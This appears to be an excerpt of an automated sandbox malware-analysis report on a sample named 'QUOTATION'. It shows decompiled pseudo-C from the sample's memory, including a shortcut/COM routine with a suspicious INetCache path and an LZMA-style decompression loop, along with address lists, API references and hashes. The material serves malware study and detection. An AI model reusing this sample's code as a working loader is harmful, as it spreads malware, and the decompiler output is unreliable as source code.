					 *((intOrPtr*)(_t111 - 8)) = _t64;
					if(_t64 >= _t87) {
						_t67 =  *((intOrPtr*)(_t111 + 8));
						 *((intOrPtr*)(_t111 - 8)) =  *((intOrPtr*)( *_t67 + 0x50))(_t67,  *(_t111 - 0xc));
						if(_t105 == _t87) {
							_t84 =  *((intOrPtr*)(_t111 + 8));
							 *((intOrPtr*)( *_t84 + 0x24))(_t84, "C:\\Users\\Arthur\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Ghetto\\Wept");
						}
						if(_t109 != _t87) {
							_t82 =  *((intOrPtr*)(_t111 + 8));
							 *((intOrPtr*)( *_t82 + 0x3c))(_t82, _t109);
						}
						_t69 =  *((intOrPtr*)(_t111 + 8));
						 *((intOrPtr*)( *_t69 + 0x34))(_t69,  *(_t111 - 0x3c));
						_t95 =  *((intOrPtr*)(_t111 - 0x40));
						if( *_t95 != _t87) {
							_t80 =  *((intOrPtr*)(_t111 + 8));
							 *((intOrPtr*)( *_t80 + 0x44))(_t80, _t95,  *(_t111 - 0x88));
						}
						_t71 =  *((intOrPtr*)(_t111 + 8));
						 *((intOrPtr*)( *_t71 + 0x2c))(_t71,  *((intOrPtr*)(_t111 - 0x44)));
						_t73 =  *((intOrPtr*)(_t111 + 8));
						 *((intOrPtr*)( *_t73 + 0x1c))(_t73,  *((intOrPtr*)(_t111 - 0x4c)));
						if( *((intOrPtr*)(_t111 - 8)) >= _t87) {
							 *((intOrPtr*)(_t111 - 8)) = 0x80004005;
							if(MultiByteToWideChar(_t87, _t87,  *(_t111 - 0x10), 0xffffffff,  *(_t111 - 0xc), 0x400) != 0) {
								_t78 =  *((intOrPtr*)(_t111 - 0x1c));
								 *((intOrPtr*)(_t111 - 8)) =  *((intOrPtr*)( *_t78 + 0x18))(_t78,  *(_t111 - 0xc), 1);
							}
						}
						_t75 =  *((intOrPtr*)(_t111 - 0x1c));
						 *((intOrPtr*)( *_t75 + 8))(_t75);
					}
					_t65 =  *((intOrPtr*)(_t111 + 8));
					 *((intOrPtr*)( *_t65 + 8))(_t65);
					if( *((intOrPtr*)(_t111 - 8)) >= _t87) {
						_push(0xfffffff4);
					} else {
						goto L15;
					}
				}
				E00401423();
				 *0x4237a8 =  *0x4237a8 +  *((intOrPtr*)(_t111 - 4));
				return 0;
			}

0x00402141
0x0040214b
0x00402155
0x0040215f
0x0040216a
0x0040216d
0x00402187
0x0040218d
0x00402193
0x00402196
0x004021a0
0x004021a4
0x004021a4
0x004021a9
0x004021ba
0x004021c2
0x0040229b
0x0040229b
0x004022a2
0x004021c8
0x004021c8
0x004021d7
0x004021db
0x004021de
0x004021e4
0x004021f2
0x004021f5
0x004021f7
0x00402202
0x00402202
0x00402207
0x00402209
0x00402210
0x00402210
0x00402213
0x0040221c
0x0040221f
0x00402224
0x00402226
0x00402233
0x00402233
0x00402236
0x0040223f
0x00402242
0x0040224b
0x00402251
0x00402258
0x00402271
0x00402273
0x00402281
0x00402281
0x00402271
0x00402284
0x0040228a
0x0040228a
0x0040228d
0x00402293
0x00402299
0x004022ae
0x00000000
0x00000000
0x00000000
0x00402299
0x004022a4
0x004029bb
0x004029c7

APIs

CoCreateInstance.OLE32(00407410,?,00000001,00407400,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004021BA
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,00407400,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402269

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept, xrefs: 004021FA

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept
API String ID: 123533781-3308316103
Opcode ID: 99e8bc42a3757380f2283ffcafc7e5a6c536564db9f2e77a1d72e4738346444a
Instruction ID: 364dec1ee03e4b34996bd20462589a1769652030a90c2beac7f749610b7a86d9
Opcode Fuzzy Hash: 99e8bc42a3757380f2283ffcafc7e5a6c536564db9f2e77a1d72e4738346444a
Instruction Fuzzy Hash: 30511871E00209AFCB00DFE4C988A9D7BB5FF48314F2085AAF515EB2D1DB799941CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00406666 Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00406666() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				void* _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t590;
				signed int* _t607;
				void* _t614;

				L0:
				while(1) {
					L0:
					if( *(_t614 - 0x40) != 0) {
						 *(_t614 - 0x34) = 1;
						 *(_t614 - 0x84) = 7;
						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
						L132:
						 *(_t614 - 0x54) = _t607;
						L133:
						_t531 =  *_t607;
						_t590 = _t531 & 0x0000ffff;
						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
						if( *(_t614 - 0xc) >= _t565) {
							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
							 *(_t614 - 0x40) = 1;
							_t532 = _t531 - (_t531 >> 5);
							 *_t607 = _t532;
						} else {
							 *(_t614 - 0x10) = _t565;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
							 *_t607 = (0x800 - _t590 >> 5) + _t531;
						}
						if( *(_t614 - 0x10) >= 0x1000000) {
							L139:
							_t533 =  *(_t614 - 0x84);
							L140:
							 *(_t614 - 0x88) = _t533;
							goto L1;
						} else {
							L137:
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 5;
								goto L170;
							}
							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						__eax =  *(__ebp - 0x5c) & 0x000000ff;
						__esi =  *(__ebp - 0x60);
						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
						__ecx =  *(__ebp - 0x3c);
						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
						__ecx =  *(__ebp - 4);
						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						if( *(__ebp - 0x38) >= 4) {
							if( *(__ebp - 0x38) >= 0xa) {
								_t97 = __ebp - 0x38;
								 *_t97 =  *(__ebp - 0x38) - 6;
							} else {
								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
							}
						} else {
							 *(__ebp - 0x38) = 0;
						}
						if( *(__ebp - 0x34) == __edx) {
							__ebx = 0;
							__ebx = 1;
							L60:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t216 = __edx + 1; // 0x1
								__ebx = _t216;
								__cx = __ax >> 5;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L59:
								if(__ebx >= 0x100) {
									goto L54;
								}
								goto L60;
							} else {
								L57:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xf;
									goto L170;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t202 = __ebp - 0x70;
								 *_t202 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L59;
							}
						} else {
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
							}
							__ecx =  *(__ebp - 8);
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
							L40:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L38:
								__eax =  *(__ebp - 0x40);
								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
									while(1) {
										if(__ebx >= 0x100) {
											break;
										}
										__eax =  *(__ebp - 0x58);
										__edx = __ebx + __ebx;
										__ecx =  *(__ebp - 0x10);
										__esi = __edx + __eax;
										__ecx =  *(__ebp - 0x10) >> 0xb;
										__ax =  *__esi;
										 *(__ebp - 0x54) = __esi;
										__edi = __ax & 0x0000ffff;
										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
										if( *(__ebp - 0xc) >= __ecx) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
											__cx = __ax;
											_t169 = __edx + 1; // 0x1
											__ebx = _t169;
											__cx = __ax >> 5;
											 *__esi = __ax;
										} else {
											 *(__ebp - 0x10) = __ecx;
											0x800 = 0x800 - __edi;
											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
											__ebx = __ebx + __ebx;
											 *__esi = __cx;
										}
										 *(__ebp - 0x44) = __ebx;
										if( *(__ebp - 0x10) < 0x1000000) {
											L45:
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t155 = __ebp - 0x70;
											 *_t155 =  *(__ebp - 0x70) + 1;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
										}
									}
									L53:
									_t172 = __ebp - 0x34;
									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
									L54:
									__al =  *(__ebp - 0x44);
									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
									L55:
									if( *(__ebp - 0x64) == 0) {
										 *(__ebp - 0x88) = 0x1a;
										goto L170;
									}
									__ecx =  *(__ebp - 0x68);
									__al =  *(__ebp - 0x5c);
									__edx =  *(__ebp - 8);
									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
									 *( *(__ebp - 0x68)) = __al;
									__ecx =  *(__ebp - 0x14);
									 *(__ecx +  *(__ebp - 8)) = __al;
									__eax = __ecx + 1;
									__edx = 0;
									_t191 = __eax %  *(__ebp - 0x74);
									__eax = __eax /  *(__ebp - 0x74);
									__edx = _t191;
									L79:
									 *(__ebp - 0x14) = __edx;
									L80:
									 *(__ebp - 0x88) = 2;
									goto L1;
								}
								if(__ebx >= 0x100) {
									goto L53;
								}
								goto L40;
							} else {
								L36:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xd;
									L170:
									_t568 = 0x22;
									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t121 = __ebp - 0x70;
								 *_t121 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L38;
							}
						}
					}
					L1:
					_t534 =  *(_t614 - 0x88);
					if(_t534 > 0x1c) {
						L171:
						_t535 = _t534 | 0xffffffff;
						goto L172;
					}
					switch( *((intOrPtr*)(_t534 * 4 +  &M00406F09))) {
						case 0:
							if( *(_t614 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t534 =  *( *(_t614 - 0x70));
							if(_t534 > 0xe1) {
								goto L171;
							}
							_t538 = _t534 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t610 = _t538 / _t570;
							_t540 = _t538 % _t570 & 0x000000ff;
							asm("cdq");
							_t605 = _t540 % _t571 & 0x000000ff;
							 *(_t614 - 0x3c) = _t605;
							 *(_t614 - 0x1c) = (1 << _t610) - 1;
							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
							_t613 = (0x300 << _t605 + _t610) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
								L10:
								if(_t613 == 0) {
									L12:
									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t613 = _t613 - 1;
									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
								} while (_t613 != 0);
								goto L12;
							}
							if( *(_t614 - 4) != 0) {
								GlobalFree( *(_t614 - 4)); // executed
							}
							_t534 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t614 - 4) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 1;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t45 = _t614 - 0x48;
							 *_t45 =  *(_t614 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t614 - 0x48) < 4) {
								goto L13;
							}
							_t546 =  *(_t614 - 0x40);
							if(_t546 ==  *(_t614 - 0x74)) {
								L20:
								 *(_t614 - 0x48) = 5;
								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t614 - 0x74) = _t546;
							if( *(_t614 - 8) != 0) {
								GlobalFree( *(_t614 - 8)); // executed
							}
							_t534 = GlobalAlloc(0x40,  *(_t614 - 0x40)); // executed
							 *(_t614 - 8) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
							 *(_t614 - 0x84) = 6;
							 *(_t614 - 0x4c) = _t553;
							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 3;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							_t67 = _t614 - 0x70;
							 *_t67 =  &(( *(_t614 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							L23:
							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
							if( *(_t614 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							goto L0;
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L68;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								goto L89;
							}
							__eflags =  *(__ebp - 0x60);
							if( *(__ebp - 0x60) == 0) {
								goto L171;
							}
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							_t258 =  *(__ebp - 0x38) - 7 >= 0;
							__eflags = _t258;
							0 | _t258 = _t258 + _t258 + 9;
							 *(__ebp - 0x38) = _t258 + _t258 + 9;
							goto L75;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							L89:
							__eax =  *(__ebp - 4);
							 *(__ebp - 0x80) = 0x15;
							__eax =  *(__ebp - 4) + 0xa68;
							 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
							goto L68;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							goto L36;
						case 0xe:
							goto L45;
						case 0xf:
							goto L57;
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							L68:
							__esi =  *(__ebp - 0x58);
							 *(__ebp - 0x84) = 0x12;
							goto L132;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
